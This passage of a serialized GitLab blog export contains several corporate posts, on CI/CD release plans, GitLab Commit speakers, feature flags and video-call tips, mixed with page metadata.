Manager_][brittanyr]\n\nI really appreciate the amount of time I can spend with my son. I see\nhim for several hours every single day. Coming to New Orleans for\nContribute was hard!\n\nHaving a child has been the best part of my life so far. A big part of\nthat was having a job that meant I could spend a good amount of time\nwith him every day without feeling like I was doing something wrong or\nnot being productive.\n\n## Remote work makes it easier\n\nWorking remotely doesn't change the fact that being a parent is\nchallenging, but it does help provide time and space to navigate those\nchallenges.\n\nWhat tips have you stumbled across while working remotely with kids at\nhome? Let us know in the comments or tweet us [@gitlab](https://twitter.com/gitlab).\n\nPhoto by [Baby Natur](https://unsplash.com/@babynatur?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/kids-toys?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n[annabeldunstone]: /company/team/#annabeldunstone\n[brittanyr]: /company/team/#brittanyr\n[cdmaurer13]: /company/team/#mauichief\n[edjdev]: /company/team/#edjdev\n[engwan]: /company/team/#engwan\n[grzesiek]: /company/team/#GrzegorzBizon\n[kxkue]: /company/team/#karliakue\n[lyle]: /company/team/#lkozloff\n[mbergeron]: /company/team/#micaelbergeron\n[smcgivern]: /company/team/#mcgivernsa\n",[3798,7715,676],{"slug":28125,"featured":6,"template":678},"remote-kids-part-four","content:en-us:blog:remote-kids-part-four.yml","Remote Kids Part Four","en-us/blog/remote-kids-part-four.yml","en-us/blog/remote-kids-part-four",{"_path":28131,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28132,"content":28138,"config":28143,"_id":28145,"_type":16,"title":28146,"_source":17,"_file":28147,"_stem":28148,"_extension":20},"/en-us/blog/a-look-ahead-for-gitlab-cicd",{"title":28133,"description":28134,"ogTitle":28133,"ogDescription":28134,"noIndex":6,"ogImage":28135,"ogUrl":28136,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28136,"schema":28137},"New up and coming GitLab CI/CD Features","DAG, Multi-project Pipelines, Runner Setup for Kubernetes and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666889/Blog/Hero%20Images/photo-cicd12xlookahead.jpg","https://about.gitlab.com/blog/a-look-ahead-for-gitlab-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New up and coming GitLab CI/CD Features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2019-08-07\",\n      }",{"title":28133,"description":28134,"authors":28139,"heroImage":28135,"date":28140,"body":28141,"category":734,"tags":28142},[22054],"2019-08-07","\n_Since this blog post was published, we have updated our planning based on emerging priorities and customer need. For the latest on what we've got coming next, check out our [CI/CD direction page](/direction/ops/), which is always current._\n\nHey everyone, [Jason Yavorska](https://gitlab.com/jyavorska) here – product manager for CI/CD at GitLab. Back in June we\nreached the mid-point of the year and we're heading into our big 12.0 release, so I took the opportunity to\nsummarize some of the [highlights of our 11.x series of releases](/blog/look-back-on-11-11-cicd/).\nHopefully you had a chance to read it, if not, please take a moment to scan through and I bet you'll find an\ninteresting feature or two that can help improve your pipelines.\n\nWe're a couple of releases into the 12.x cycle now and I couldn't wait to share some\nof the things that we're looking forward to delivering the remainder of this year. Some of the features I am most excited about include DAG, a directed acyclic graph that makes it easy to run pipeline steps out of order, expanding our pipelines for merge requests/results feature to also work with forks, as well as making multi-project pipelines a Core feature. With about 3.44M job instances per week/13.76M per month, GitLab CI is growing at a rapid rate to help our customers and users with their deployment needs. Read on below to learn more about all of the exciting CI/CD features in the 12.0 series of releases that will help you to deploy your code quickly.\n\n## What's recent\n\nIn 12.0, we released [visual reviews](https://docs.gitlab.com/ee/ci/review_apps/index.html#visual-reviews),\nwhich allows users to provide issue feedback directly from the review apps that\nyour pipelines create. This makes it easy for all your team members to provide accurate\nfeedback on the changes you're making. We also added [collapsible job logs](https://docs.gitlab.com/ee/ci/pipelines/index.html#expand-and-collapse-job-log-sections),\nmaking output of pipelines easier to use, and enabled [multiple extends](https://docs.gitlab.com/ee/ci/yaml/#extends)\nfor pipeline jobs to make templatizing behaviors in your configuration even easier.\n\n![Visual Review Apps](https://about.gitlab.com/images/12_0/visual-review-apps.png \"Visual Review Apps\"){: .shadow.medium.center}\n\n[Visual Review Apps](https://docs.gitlab.com/ee/ci/review_apps/index.html#visual-reviews) were released in GitLab 12.0\n{: .note .text-center}\n\nIn 12.1, we delivered [parallel execution for merge trains](https://docs.gitlab.com/ee/ci/pipelines/merge_trains.html),\nexpanding on our [pipelines for merged results](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html)\nto make it very easy to automatically build and test a series of merge requests heading\ninto the same target branch in a fast, safe, and efficient way. For GitLab Pages we also\nadded [automatic HTTPS certificate renewal](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.html),\nand completely refactored the GitLab Runner to be able to be [extensible for custom behaviors](http://docs.gitlab.com/runner/executors/custom.html),\nenabling many new kinds of operation modes for your runners including but not limited to\nsupporting any kind of proprietary virtualization environment.\n\n## What's next\n\nNow that you're up to speed with the first couple of 12.x releases, let's look ahead to what's coming next in each monthly release from 12.2 this month to 12.6 in December.\n\n## 12.2 (August 22)\n\n_Since this blog post was published, we have updated our planning based on emerging priorities and customer need. For the latest on what we've got coming next, check out our [CI/CD direction page](/direction/ops/), which is always current._\n\n12.2 is just around the corner and it's also looking to be a big one.\n\nOne really exciting feature for this release is that we're adding a hybrid directed acyclic graph (DAG) to GitLab CI.\nThis is really just a fancy way of saying you'll be able to run pipeline steps out of order, breaking the\nstage sequencing you're familiar with in GitLab, and allowing jobs to relate to each other directly. This can\nbe valuable for monorepo situations where you have different folders in your repo that can build, test, and maybe\neven deploy independently, or in general it can provide a nice speed boost for your pipeline steps that relate to\neach other (for example, things like artifact processing or sequential test runs.) Read more in our [public issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/47063)\nabout how this great feature is going to work.\n\n![Directed Acyclic Graph](https://about.gitlab.com/images/blogimages/dag_execution.png \"Directed Acyclic Graph\"){: .shadow.medium.center}\n\nOut of order execution using the [Directed Acyclic Graph](https://gitlab.com/gitlab-org/gitlab-ce/issues/47063)\n{: .note .text-center}\n\nIn addition to the DAG, we're rethinking the way that [rules can be set up for pipelines](https://gitlab.com/gitlab-org/gitlab-ce/issues/60085),\nmaking it much easier to understand what a job is going to do compared with trying to figure out how a collection\nof `only/except` rules interact with each other. Another highlight is that we're adding the ability to\n[control behavior for individual users with Feature Flags](https://gitlab.com/gitlab-org/gitlab-ee/issues/11459) along with\n[percentage rollout across all users](https://gitlab.com/gitlab-org/gitlab-ee/issues/8240). These will give you a lot of\nflexibility to [progressively control](/direction/ops/#progressive-delivery) how changes are rolled out to your users\neven when the code is already in production.\n\n## 12.3 (September 22)\n\n_Since this blog post was published, we have updated our planning based on emerging priorities and customer need. For the latest on what we've got coming next, check out our [CI/CD direction page](/direction/ops/), which is always current._\n\nThe individual change in the 12.3 release that I'm most excited about has got to be\n[associating a milestone with a release](https://gitlab.com/gitlab-org/gitlab-ce/issues/62402). One of the greatest\nstrengths of GitLab is the connected ecosystem of features – by tying a release to a milestone, it becomes\npossible to connect all kinds of interesting data in GitLab to the release – issues, merge requests, and more, all\nat your fingertips and curated automatically by GitLab.\n\nWe're also going to be making [runner setup for Kubernetes](https://gitlab.com/gitlab-org/gitlab-ce/issues/63768)\nrequire just a single click to get going, and making a key architectural change to GitLab Pages that will\n[bring initial availability time for pages site down to nearly instantaneous](https://gitlab.com/gitlab-org/gitlab-ce/issues/61929).\n\n## 12.4 (October 22)\n\n_Since this blog post was published, we have updated our planning based on emerging priorities and customer need. For the latest on what we've got coming next, check out our [CI/CD direction page](/direction/ops/), which is always current._\n\nFirst up, we're planning on adding a [Hashicorp Vault integration](https://gitlab.com/gitlab-org/gitlab-ce/issues/61053) that will let you tie your\nGitLab CI pipelines to your Vault instance, making it possible to keep crucial build and deployment secrets outside\nof GitLab entirely.\n\nWe're also [expanding our pipelines for merge requests/results feature to also work with forks](https://gitlab.com/gitlab-org/gitlab-ee/issues/11934),\nand (building on top of the newly associated milestone) delivering an MVC for fully automated [evidence collection for releases](https://gitlab.com/gitlab-org/gitlab-ce/issues/56030).\nThis means that things like test results, pipeline outputs, merge requests, and issues will have a snapshot\navailable for auditing and review in the context of a release, all collected automatically from throughout GitLab\nwithout having to write a line of code.\n\n## 12.5 (November 22)\n\n_Since this blog post was published, we have updated our planning based on emerging priorities and customer need. For the latest on what we've got coming next, check out our [CI/CD direction page](/direction/ops/), which is always current._\n\nFor 12.5, we plan to tackle Helm v3 charts by providing features in our container registry to\nmanage these. [Helm v3](https://helm.sh/blog/helm-3-preview-pt1/) changes a lot about how charts work, and\nwe want to ensure that GitLab is there with you as you start to adopt this very different, but powerful new way\nof working.\n\nWe also plan to revisit [how workspaces are defined and shared](https://gitlab.com/gitlab-org/gitlab-ce/issues/62802),\nmaking it easier to build up a common staging area that can be shared by different jobs/pipelines in an easier-to-use,\nmore natural way than by using the cache or artifacts in GitLab today. Last but not least, we're improving on\nour testing parallelization features by making it possible to [leave the parallelization tuning to GitLab itself](https://gitlab.com/gitlab-org/gitlab-ee/issues/12282).\n\n## 12.6 (December 22)\n\n_Since this blog post was published, we have updated our planning based on emerging priorities and customer need. For the latest on what we've got coming next, check out our [CI/CD direction page](/direction/ops/), which is always current._\n\nFor the holidays we're planning on [making multi-project pipelines a Core feature](https://gitlab.com/gitlab-org/gitlab-ce/issues/63497),\nbringing this powerful capability to all of our users. More and more we're hearing that teams are using multi-project\npipelines in all kinds of interesting ways to solve unique problems, and we want to make this feature available to\neveryone who can benefit. EDIT 2020-01-02: We resolved [this issue](https://gitlab.com/gitlab-org/gitlab/issues/31573) back in 12.4 where the trigger keyword was not working in certain cases, which satisfied the request of the folks in that issue to open source the feature. There are potential executive dashboards for cross-project pipelines in the future which will be paid features, but using triggering is in core and working fine. If there are any use cases that are not working for you, please ping me (@jyavorska) in [gitlab#29626](https://gitlab.com/gitlab-org/gitlab/issues/29626) and I'd be happy to take a look.\n\nWe are also bringing in a whole new way of working with GitLab CI/CD: [child/parent pipelines](https://gitlab.com/gitlab-org/gitlab-ce/issues/22972).\nUsing these you'll be able to trigger downstream pipelines from your main pipeline; these will run completely independently\nand in their own separate namespace from the main pipeline, but will provide status attribution back to the main pipeline. These\nchild pipelines are definable in YAML files anywhere in your repo, so if you have a monorepo (for example) you'll be able to organize\nthese independent pipelines separately but still orchestrate them from a central command and control module.\n\nFinally, we're looking to improve how we show the [change in pipeline duration over time](https://gitlab.com/gitlab-org/gitlab-ee/issues/1806)\nas well as how [test runs are changing over time](https://gitlab.com/gitlab-org/gitlab-ee/issues/1020). This trend data will make\nit easier to manage the performance of your pipelines on an ongoing basis.\n\n## In conclusion\n\nHopefully you're as excited about these features as much as we are. We'd love for you to participate\nin the public issues so we can work together to deliver these features with your input. It's\npossible some specific items may change, but overall\nthis is the direction we're headed as we continue to add iterative improvements across all of CI/CD in\nevery release.\n\nInterested in learning more about GitLab CI/CD in general, and seeing all the rest of\nthe items we plan to deliver? Visit our [CI/CD strategy page](/direction/ops/)\nfor our themes, priorities, and more details on what's coming next.\n\nPhoto by [Reginar](https://unsplash.com/photos/4fQAMZNaGUo?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/arrow?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,110,754],{"slug":28144,"featured":6,"template":678},"a-look-ahead-for-gitlab-cicd","content:en-us:blog:a-look-ahead-for-gitlab-cicd.yml","A Look Ahead For Gitlab Cicd","en-us/blog/a-look-ahead-for-gitlab-cicd.yml","en-us/blog/a-look-ahead-for-gitlab-cicd",{"_path":28150,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28151,"content":28156,"config":28160,"_id":28162,"_type":16,"title":28163,"_source":17,"_file":28164,"_stem":28165,"_extension":20},"/en-us/blog/gitlab-commit-speaker-announcement",{"title":28152,"description":28153,"ogTitle":28152,"ogDescription":28153,"noIndex":6,"ogImage":27702,"ogUrl":28154,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28154,"schema":28155},"See who will be speaking at GitLab Commit!","Announcing the speakers for our inaugural GitLab Commit conference in Brooklyn.","https://about.gitlab.com/blog/gitlab-commit-speaker-announcement","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"See who will be speaking at GitLab Commit!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gitlab\"}],\n        \"datePublished\": \"2019-08-07\",\n      }",{"title":28152,"description":28153,"authors":28157,"heroImage":27702,"date":28140,"body":28158,"category":299,"tags":28159},[711],"\n\nWe're excited to announce the first round of speakers for our inaugural [GitLab Commit](/events/commit) conference in Brooklyn! This group of speakers includes thought leaders and industry experts, members of both the GitLab team and wider community, and people from diverse backgrounds with diverse perspectives. \n\nBrilliant minds from the likes of Delta Air Lines, Goldman Sachs, T-Mobile, DigitalOcean, VMware, and Cloud Native Computing Foundation will join GitLab CEO and co-founder Sid Sijbrandij for an unforgettable day of learning and networking.\n\nAttendees can expect great conversations and insights on how to bring teams together to deliver code quickly and securely, and how to push innovation forward at lightning speeds. We look forward to seeing you there on **September 17th** and experiencing a unique event that is taking over Williamsburg, Brooklyn. \n\n### Venue and Location\n\nGitLab Commit Brooklyn will not only take place at the [Williamsburg Hotel](https://www.thewilliamsburghotel.com/), but will be a Williamsburg neighborhood *takeover*. Every venue in a two block radius will have its own theme, immersing you in the city. From a graffiti wall to a trip to a brewery, your day of learning about the future of software development will be full of creative inspiration.\n\nHear talks, mix and mingle with new and old friends at the Williamsburg hotel, Wythe Hotel, Kinfolk, Schimanski’s and end the night at Brooklyn Bowl. \n\nRegister by August 15, 11:59 pm PT with code: commit99 to save $99 on conference passes!\n{: .alert .alert-info .text-center}\n\n### GitLab Commit Brooklyn speakers\n\n#### Keynote: “How Delta Became Truly Cloud Native: Avoiding the vendor-lock”\n\n– Jasmine James, IT Manager - DevOps Center of Excellence, Delta Air Lines\n\n#### Keynote: “Creating a CI/CD Pipeline with GitLab and Kubernetes in 20 Minutes”\n\n– Eddie Zaneski, Senior Director Security, DigitalOcean\n\n#### Keynote: “Implementing an Open Source Culture at NASA”\n\n– Marshall Cottrell, Lead Engineer, Platform Team, MRI Technologies\n\n#### “Being budget conscious in a continuously automated world”\n\n– Tim Davis, Cloud Advocate, VMware\n\n#### “Running GitLab and GitLab CI in Kubernetes for the Enterprise”\n\n– Kyle Persohn, Senior Engineer, and Sean Corkum, Senior Engineer, Northwestern Mutual\n\n#### “Cloud Native Logging & Stream Processing”\n\n– Eduardo Silva, Principal Engineer, Arm/ Treasure Data\n\n#### “GovLab: Gitlab in the Federal Government”\n\n– Solomon Rubin, Cyber Security & Software Engineer, MITRE\n\n#### “How Containerized GitLab CI Pipelines Can Help You Streamline Your Infrastructure Deployments”\n\n– Nico Meisenzahl, Senior Consultant, panagenda\n\n#### “Automation and Iteration: How a small agency team takes advantage of Gitlab to test and deploy rapidly across environments”\n\n– Cory Zibell, Technology Lead, Digital Surgeons\n\n#### “The after-effects of contributing to open source”\n\n– George Tsiolis, UX Engineer, Ubitech\n\n#### “Dynamically managing group permissions using GitOPS and the Gitlab API”\n\n– Philip Marc Schwartz, Principal Software Engineer, CDP Platform, T-Mobile\n\n#### “Using chaos engineering in Gitlab pipelines for faster hardening”\n\n– Umasankar Mukkara, Co-founder and COO, MayaData\n\n### Also featuring...\n\n#### George Grant\nVP - Technology Fellow, Goldman Sachs\n\n#### Dan Kohn\nExecutive Director, Cloud Native Computing Foundation\n\n#### Christopher Bolton\nSenior Systems Engineer, Delta Air Lines\n\n#### Claire Carroll\ndbt Community Manager, Fishtown Analytics\n\n#### Nicole Schultz\nSenior Engineer, Northwestern Mutual\n\n#### Mike Nick\nSenior Engineer, Northwestern Mutual\n\n#### Karthik Satchitanand\nQuality & Automation Lead, MayaData\n\n#### Sid Sijbrandij\nCo-founder & CEO, GitLab\n\n#### Philippe Lafoucrière\nDistinguished Engineer - Secure, GitLab\n\n#### Emilie Schario\nData Engineer, Analytics, GitLab\n\n#### Marin Jankovski\nEngineering Manager, GitLab\n\n#### Lee Matos\nSupport Engineering Manager, GitLab\n\n#### Jason Plum\nSenior Distribution Engineer, GitLab\n\n## About GitLab Commit\n\nGitLab Commit is a home to learning and collaboration, so we can all experience success through DevOps transformations. We're confident that this lineup of speakers will inspire our audience and empower them to make themselves, their teams and organizations, and the open source and tech communities better.\n\nWe'll be bringing GitLab Commit to Brooklyn on September 17 and London on October 9. To find additional information and register, please visit our [GitLab Commit](/events/commit) site. We look forward to contributing with you soon!\n",[277,267],{"slug":28161,"featured":6,"template":678},"gitlab-commit-speaker-announcement","content:en-us:blog:gitlab-commit-speaker-announcement.yml","Gitlab Commit Speaker Announcement","en-us/blog/gitlab-commit-speaker-announcement.yml","en-us/blog/gitlab-commit-speaker-announcement",{"_path":28167,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28168,"content":28174,"config":28179,"_id":28181,"_type":16,"title":28182,"_source":17,"_file":28183,"_stem":28184,"_extension":20},"/en-us/blog/feature-flags-continuous-delivery",{"title":28169,"description":28170,"ogTitle":28169,"ogDescription":28170,"noIndex":6,"ogImage":28171,"ogUrl":28172,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28172,"schema":28173},"Learn more about Feature Flags: The next step in Progressive Delivery","How Feature Flags are continuing the next evolution of continuous delivery.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670020/Blog/Hero%20Images/feature-flags.jpg","https://about.gitlab.com/blog/feature-flags-continuous-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learn more about Feature Flags: The next step in Progressive Delivery\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-08-06\",\n      }",{"title":28169,"description":28170,"authors":28175,"heroImage":28171,"date":28176,"body":28177,"category":734,"tags":28178},[18462],"2019-08-06","\n\n[DevOps](/topics/devops/) is always evolving. Continuous delivery made a major impact on the way software is deployed, but we don’t think the innovation stops there. As we move into more of a [multi-cloud](/topics/multicloud/), hybrid development world, continuous delivery has continued to change into something more “progressive.”\n\n[Progressive Delivery](https://redmonk.com/jgovernor/2018/08/06/towards-progressive-delivery/) isn’t exactly the new idea that continuous delivery was; it’s simply a continuation of it. What Progressive Delivery does is give more precision to the delivery process through new ideas and best practices, reducing the risks of one big, risky deployment. At GitLab, we think Progressive Delivery is the next logical evolution of DevOps beyond CI/CD and will become the default way to release software in the future.\n\nWe previously discussed [how Review Apps can enable Progressive Delivery](/blog/progressive-delivery-using-review-apps/), and today we’ll discuss the targeted rollout process of Feature Flags.\n\n## What are Feature Flags?\n\n[Feature Flags](/direction/release/feature_flags/) (also known as feature toggles, feature flippers, or feature switches) give developers the ability to roll out features selectively without changing the source code. Incomplete features can be merged into the production code but flagged on or off, which allows many small, incremental versions of software to be delivered without the cost of constant branching and merging.\n\nFeature Flags are designed to minimize the blast radius of releasing new features. By utilizing Feature Flags, developers can release to a subset of users and roll back easily through toggling, leaving the live code intact. A feature can also be tested before it’s completed and ready for release. This technique allows developers to release a version of a product that has unfinished features which are hidden (toggled) so they do not appear in the user interface.\n\n[Martin Fowler organizes Feature Flags into four different categories](https://martinfowler.com/articles/feature-toggles.html) based on how long they’re typically in place and how dynamic they should be:\n\n*   **Release toggles**: A temporary flag which allows incomplete, latent code to be shipped to production and turned on or off, or perhaps never enabled at all.\n*   **Experiment toggles**: A short-lived toggle usually used for multivariate A/B testing, kept in place only long enough to gather results.\n*   **Ops toggles**: For releases that have unclear performance implications, this toggle allows system administrators to roll back quickly, but it’s not unheard of for long-term toggles to remain in place as a kill switch.\n*   **Permission toggles**: Manages features for specific users, such as “premium” features, alpha or beta features, or even internal features. These toggles can be very long-lived.\n\nFeature Flags can be a quick way to do [version control](/topics/version-control/) so that [continuous delivery](/topics/continuous-delivery/) remains continuous. Their ability to turn off or on with simple commands makes Feature Flags a low-risk option for introducing new features. While they’re easy to use, they can have some drawbacks if not implemented properly.\n\n## Working with Feature Flags\n\nSome worry about the added complexity with Feature Flags, since code may need to be tested with toggles on and off, essentially doubling the load. While it’s not necessary to test every toggle configuration, a best practice is for developers to test code that has the greatest likelihood of going live in production. According to Martin Fowler, a good convention is to enable existing or legacy behavior when a Feature Flag is Off, and new or future behavior when it's On.\n\nAnother risk of using Feature Flags is stale flags, a situation when flags are left in the code and forgotten about. As teams add more and more flags into their code, it can become harder to keep track of and verify the flags.\n\nToday, organizations rely on feature management systems such as [Launch Darkly](https://launchdarkly.com/) or [Optimizely](https://blog.optimizely.com/2017/10/18/feature-management/) in order to use Feature Flags. As with any link in a toolchain, this adds an additional level of oversight that can be hard to manage and maintain. Analysts recognize that feature-toggling capabilities are becoming more of what's fundamentally needed for a continuous delivery platform. While we are still in the early stages of Feature Flags, we do have some alpha Feature Flag capabilities already built into GitLab you can try out today, and we will be launching additional functionality in 12.2:\n\n*   [Feature Flags enabled for specific users](https://gitlab.com/gitlab-org/gitlab-ee/issues/11459)\n*   [Percent rollout per environment](https://gitlab.com/gitlab-org/gitlab-ee/issues/8240)\n\n## GitLab and Progressive Delivery\n\nAs we continue to iterate on our [product vision for CI/CD](/direction/ops/#progressive-delivery), we’re adopting a Progressive Delivery mindset for how we implement new features into GitLab. As a complete [DevOps platform](/solutions/devops-platform/), delivered as a [single application](/topics/single-application/), it’s important for us to offer a comprehensive solution that offers the latest best practices. Review Apps, Canary Deployments, and Feature Flags are just some of the ways we’re bringing Progressive Delivery to the GitLab community.\n\nTo learn more about how we’re using Feature Flags and Feature flag best practicies in GitLab, watch this deep dive with our Director of Product Management, [Jason Yavorska](/company/team/#jyavorska).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/TSSqNUhbbmQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nFeature Flags can be a useful way to validate and measure performance before rolling out a feature to a broader audience. High visibility makes DevOps more efficient, and integrating Feature Flags into the same application where your code repositories, CI/CD, project planning, and monitoring occurs can overcome many of the challenges associated with Feature Flags.\n\nLearn how GitLab’s built-in CI/CD helps teams implement Progressive Delivery tools such as [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/), [Feature Flags](/direction/release/feature_flags/), and [Canary Deployments](https://docs.gitlab.com/ee/user/project/canary_deployments.html), without the complicated integrations and plugin maintenance.\n\n[Explore GitLab CI/CD](/solutions/continuous-integration/)\n{: .alert .alert-gitlab-purple .text-center}\n\nCover image by [Chris Lawton](https://unsplash.com/@chrislawton?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/flags?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110,754],{"slug":28180,"featured":6,"template":678},"feature-flags-continuous-delivery","content:en-us:blog:feature-flags-continuous-delivery.yml","Feature Flags Continuous Delivery","en-us/blog/feature-flags-continuous-delivery.yml","en-us/blog/feature-flags-continuous-delivery",{"_path":28186,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28187,"content":28193,"config":28199,"_id":28201,"_type":16,"title":28202,"_source":17,"_file":28203,"_stem":28204,"_extension":20},"/en-us/blog/tips-for-mastering-video-calls",{"title":28188,"description":28189,"ogTitle":28188,"ogDescription":28189,"noIndex":6,"ogImage":28190,"ogUrl":28191,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28191,"schema":28192},"5 Tips for mastering video calls","All-remote work wouldn't be possible without communication tools like video conferencing. Here are a few tips we use at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670134/Blog/Hero%20Images/remote-life-cover.png","https://about.gitlab.com/blog/tips-for-mastering-video-calls","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Tips for mastering video calls\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Betsy Church\"}],\n        \"datePublished\": \"2019-08-05\",\n      }",{"title":28188,"description":28189,"authors":28194,"heroImage":28190,"date":28196,"body":28197,"category":6634,"tags":28198},[28195],"Betsy Church","2019-08-05","\nAs remote and distributed work becomes more popular around the world, technology is\nconstantly evolving to support it. Communication tools, particularly video conferencing, allow\npeople to [connect and collaborate from anywhere with an internet connection](/blog/how-remote-work-at-gitlab-enables-location-independence/).\n\nFor an [all-remote](/company/culture/all-remote/), global company like\nGitLab, video calls are even more crucial to how\nwe [communicate](/handbook/communication), get work done as a team,\nand get to know each other.\n\nWhile best practices for video calls may seem obvious to the experienced remote\nprofessional, they often don’t come naturally to someone who’s used to working in a\ntraditional office setting. Here are some of the tips and tricks we use at\nGitLab to help you master the art of a successful video call.\n\n## 1. Know when a call is necessary\n\nFirst things first: Do you even need to have a video call? We’ve all had those\nwork weeks that are overloaded with calls or meetings, when oftentimes the\ntopic could have been discussed asynchronously in an email, Google Doc, or even a GitLab issue.\n\nWe default to [asynchronous communication](/handbook/communication/) at\nGitLab for many reasons. For one, it means there is far more documentation of your project\nand the work being done. On a global team, asynchronous communication allows for progress to continue even after\none person’s working day ends. Asynchronous work is also naturally more inclusive\nbecause [everyone can contribute](/company/mission/#mission).\n\nBut that doesn’t mean it works for every conversation. At GitLab, our rule of thumb is\nthat if you go back and forth about a topic three times, it’s time for a video call to\ntalk it out in real time.\n\n## 2. Use the right equipment correctly\n\nThe headphones and equipment you use can make a big difference in a successful video call,\nbut only if you use them the right way.\n\nIt's tempting to join a call using the built-in mic in your laptop, but grab a set of headphones instead. \nThey help eliminate interference and background noise for others on the call, making the conversation flow more smoothly.\n\nWhen you're preparing for your call, allow yourself a few minutes to test your audio and video, especially if it's the first time you've used that video conferencing tool. \n\nAnother equipment misstep that happens often, particularly in companies with a mix of in-office and remote\nemployees, is what we call “hybrid calls.” A [hybrid call](/handbook/communication/#hybrid-calls-are-horrible)\n is when two (or more) people in one room try to share the same equipment during a call\n – laptops, cameras, even headphones. Not only does this create a negative and non-inclusive\n  experience for anyone who’s not in the room, it rarely works well for the people sharing the equipment.\n\nDo your remote team members a favor: Use your own laptop, camera, and headphones (and\npreferably, your own conference room) so that you can talk, screen share, take notes, and be seen clearly.\n\n## 3. Turn on your video\n\nOne of the best aspects of video calls is that they allow us to have high-fidelity conversations without being in the same location. \nBut if you don't use your camera, it's tough to get to know the person you're meeting with. \nThis is especially important at GitLab or any all-remote company, since we only get together in person every\nso often. \n\nWhile it's certainly not required, we encourage team members to default to using their cameras whenever possible.\nWhether you just came back from the gym, you’re eating lunch at your desk, or your dog,\nspouse, or child is in the room (have them wave!), still consider turning on your camera.\nThese are all typical parts of a remote workday, and might even spark a conversation that\nhelps you get to know a member of your team better.\n\n## 4. Speak up\n\nIt might go against your instincts around meeting etiquette, but (politely) speaking up or\neven interrupting someone on a video call is perfectly okay.\n\nThis takes some getting used to because the latency on video calls means you may be\ntalking over someone for longer than you would in person. But you can’t have a dynamic,\ncollaborative meeting unless people are able to contribute, ask questions, and add context in the moment.\n\nIf you’re on a call and you notice a team member who appears to be struggling to get a word in,\ndon’t hesitate to specifically invite them into the conversation so that they have a\nchance to speak as well. Your call will be more productive if everyone feels able to participate.\n\n## 5. Watch the clock\n\nIt’s hard to decide which is more important: starting a call on time or ending it on time.\nSo we aim for both. A meeting that runs even two or three minutes over can put someone’s entire schedule behind.\n\nIf your team regularly struggles to end on time, try assigning someone ahead of each meeting to\nbe the time keeper and give everyone a heads up when the call is almost over. If you weren’t\nable to get through your whole agenda in the allotted time, either schedule an additional call,\nor continue to communicate about it asynchronously instead.\n\n___\n\nLearn more about GitLab’s approach to [all-remote work](https://about.gitlab.com/company/culture/all-remote/).\nInterested in joining our team? Browse our [vacancies](https://about.gitlab.com/jobs/).\n\nCover image by [Trust \"Tru\" Katsande](https://unsplash.com/@iamtru?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[3798,676,2368],{"slug":28200,"featured":6,"template":678},"tips-for-mastering-video-calls","content:en-us:blog:tips-for-mastering-video-calls.yml","Tips For Mastering Video Calls","en-us/blog/tips-for-mastering-video-calls.yml","en-us/blog/tips-for-mastering-video-calls",{"_path":28206,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28207,"content":28213,"config":28218,"_id":28220,"_type":16,"title":28221,"_source":17,"_file":28222,"_stem":28223,"_extension":20},"/en-us/blog/gitlab-for-the-non-technical",{"title":28208,"description":28209,"ogTitle":28208,"ogDescription":28209,"noIndex":6,"ogImage":28210,"ogUrl":28211,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28211,"schema":28212},"GitLab 101 – a primer for the non-technical","If a set-in-her-ways English major can conquer the GitLab product and culture, you can too. Here’s what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678544/Blog/Hero%20Images/gitlab101.jpg","https://about.gitlab.com/blog/gitlab-for-the-non-technical","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 101 – a primer for the non-technical\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-08-02\",\n      }",{"title":28208,"description":28209,"authors":28214,"heroImage":28210,"date":28215,"body":28216,"category":6634,"tags":28217},[11618],"2019-08-02","\nI am living proof it’s possible to work at GitLab and not be particularly technical, or even particularly quick about learning technical things. Three months ago I joined the company having never used the tool and with no idea what a merge request or an issue was. I’d never touched Git or pushed a commit, 